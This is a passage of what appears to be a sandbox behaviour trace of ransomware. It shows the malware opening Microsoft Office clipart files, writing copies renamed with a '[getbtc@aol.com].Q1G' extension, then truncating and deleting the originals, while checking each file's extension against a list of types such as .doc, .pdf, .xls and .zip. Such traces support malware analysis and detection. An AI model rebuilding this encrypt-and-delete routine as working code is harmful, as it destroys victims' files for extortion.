(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.549] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.549] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.549] GetLastError () returned 0x0 [0248.549] ReadFile (in: hFile=0x3c0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x6e8, lpOverlapped=0x0) returned 1 [0248.556] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x6f0, lpOverlapped=0x0) returned 1 [0248.557] ReadFile (in: hFile=0x3c0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.557] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.557] SetEndOfFile (hFile=0x200) returned 1 [0248.557] CloseHandle (hObject=0x200) returned 1 [0248.557] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.557] SetEndOfFile (hFile=0x3c0) returned 1 [0248.559] CloseHandle (hObject=0x3c0) returned 1 [0248.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0248.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.582] lstrlenW (lpString=".doc") returned 4 [0248.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.582] lstrlenW (lpString=".docx") returned 5 [0248.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.582] lstrlenW (lpString=".pdf") returned 4 [0248.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.582] lstrlenW (lpString=".xls") returned 4 [0248.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.582] lstrlenW (lpString=".xlsx") returned 5 [0248.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.582] lstrlenW (lpString=".ppt") returned 4 [0248.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.582] lstrlenW (lpString=".zip") returned 4 [0248.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.582] lstrlenW (lpString=".rar") returned 4 [0248.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.582] lstrlenW (lpString=".bz2") returned 4 [0248.582] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.582] lstrlenW (lpString=".7z") returned 3 [0248.582] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.582] lstrlenW (lpString=".dbf") returned 4 [0248.582] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.582] lstrlenW (lpString=".1cd") returned 4 [0248.582] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.582] lstrlenW (lpString=".jpg") returned 4 [0248.582] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.582] lstrlenW (lpString=".doc") returned 4 [0248.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.583] lstrlenW (lpString=".docx") returned 5 [0248.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.583] lstrlenW (lpString=".pdf") returned 4 [0248.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.583] lstrlenW (lpString=".xls") returned 4 [0248.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.583] lstrlenW (lpString=".xlsx") returned 5 [0248.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.583] lstrlenW (lpString=".ppt") returned 4 [0248.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.583] lstrlenW (lpString=".zip") returned 4 [0248.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.583] lstrlenW (lpString=".rar") returned 4 [0248.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.583] lstrlenW (lpString=".bz2") returned 4 [0248.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.583] lstrlenW (lpString=".7z") returned 3 [0248.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.583] lstrlenW (lpString=".dbf") returned 4 [0248.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.583] lstrlenW (lpString=".1cd") returned 4 [0248.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0248.583] lstrlenW (lpString=".jpg") returned 4 [0248.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.583] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.583] lstrlenW (lpString="DD01585_.WMF") returned 12 [0248.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.588] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2524) returned 1 [0248.588] CloseHandle (hObject=0x3b4) returned 1 [0248.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20 [0248.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.720] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.720] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0248.720] GetLastError () returned 0x0 [0248.720] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x9dc, lpOverlapped=0x0) returned 1 [0248.725] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0248.725] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.725] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.725] SetEndOfFile (hFile=0x390) returned 1 [0248.726] CloseHandle (hObject=0x390) returned 1 [0248.726] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.726] SetEndOfFile (hFile=0x3b4) returned 1 [0248.728] CloseHandle (hObject=0x3b4) returned 1 [0248.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0248.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.730] lstrlenW (lpString=".doc") returned 4 [0248.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.730] lstrlenW (lpString=".docx") returned 5 [0248.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.730] lstrlenW (lpString=".pdf") returned 4 [0248.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.730] lstrlenW (lpString=".xls") returned 4 [0248.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.730] lstrlenW (lpString=".xlsx") returned 5 [0248.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.730] lstrlenW (lpString=".ppt") returned 4 [0248.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.730] lstrlenW (lpString=".zip") returned 4 [0248.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.730] lstrlenW (lpString=".rar") returned 4 [0248.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.731] lstrlenW (lpString=".bz2") returned 4 [0248.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.731] lstrlenW (lpString=".7z") returned 3 [0248.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.731] lstrlenW (lpString=".dbf") returned 4 [0248.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.731] lstrlenW (lpString=".1cd") returned 4 [0248.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.731] lstrlenW (lpString=".jpg") returned 4 [0248.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.731] lstrlenW (lpString=".doc") returned 4 [0248.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.731] lstrlenW (lpString=".docx") returned 5 [0248.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.731] lstrlenW (lpString=".pdf") returned 4 [0248.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.731] lstrlenW (lpString=".xls") returned 4 [0248.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.731] lstrlenW (lpString=".xlsx") returned 5 [0248.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.732] lstrlenW (lpString=".ppt") returned 4 [0248.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.732] lstrlenW (lpString=".zip") returned 4 [0248.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.732] lstrlenW (lpString=".rar") returned 4 [0248.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.732] lstrlenW (lpString=".bz2") returned 4 [0248.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.732] lstrlenW (lpString=".7z") returned 3 [0248.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.732] lstrlenW (lpString=".dbf") returned 4 [0248.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.732] lstrlenW (lpString=".1cd") returned 4 [0248.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0248.732] lstrlenW (lpString=".jpg") returned 4 [0248.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.732] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.732] lstrlenW (lpString="DD01630_.WMF") returned 12 [0248.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.733] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=296) returned 1 [0248.733] CloseHandle (hObject=0x3b4) returned 1 [0248.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20 [0248.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.733] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.733] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0248.737] GetLastError () returned 0x0 [0248.737] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x128, lpOverlapped=0x0) returned 1 [0248.738] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x130, lpOverlapped=0x0) returned 1 [0248.738] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.738] WriteFile (in: hFile=0x390, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.739] SetEndOfFile (hFile=0x390) returned 1 [0248.739] CloseHandle (hObject=0x390) returned 1 [0248.739] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.739] SetEndOfFile (hFile=0x3b4) returned 1 [0248.741] CloseHandle (hObject=0x3b4) returned 1 [0248.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0248.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.742] lstrlenW (lpString=".doc") returned 4 [0248.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.742] lstrlenW (lpString=".docx") returned 5 [0248.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.742] lstrlenW (lpString=".pdf") returned 4 [0248.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.742] lstrlenW (lpString=".xls") returned 4 [0248.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.742] lstrlenW (lpString=".xlsx") returned 5 [0248.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.742] lstrlenW (lpString=".ppt") returned 4 [0248.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.742] lstrlenW (lpString=".zip") returned 4 [0248.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.742] lstrlenW (lpString=".rar") returned 4 [0248.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.742] lstrlenW (lpString=".bz2") returned 4 [0248.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.742] lstrlenW (lpString=".7z") returned 3 [0248.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.742] lstrlenW (lpString=".dbf") returned 4 [0248.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.742] lstrlenW (lpString=".1cd") returned 4 [0248.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.742] lstrlenW (lpString=".jpg") returned 4 [0248.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.743] lstrlenW (lpString=".doc") returned 4 [0248.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.743] lstrlenW (lpString=".docx") returned 5 [0248.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.743] lstrlenW (lpString=".pdf") returned 4 [0248.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.743] lstrlenW (lpString=".xls") returned 4 [0248.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.743] lstrlenW (lpString=".xlsx") returned 5 [0248.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.743] lstrlenW (lpString=".ppt") returned 4 [0248.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.743] lstrlenW (lpString=".zip") returned 4 [0248.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.743] lstrlenW (lpString=".rar") returned 4 [0248.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.743] lstrlenW (lpString=".bz2") returned 4 [0248.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.743] lstrlenW (lpString=".7z") returned 3 [0248.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.743] lstrlenW (lpString=".dbf") returned 4 [0248.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.743] lstrlenW (lpString=".1cd") returned 4 [0248.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0248.743] lstrlenW (lpString=".jpg") returned 4 [0248.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.744] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.744] lstrlenW (lpString="DD01631_.WMF") returned 12 [0248.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.744] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=552) returned 1 [0248.744] CloseHandle (hObject=0x3b4) returned 1 [0248.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20 [0248.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.746] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 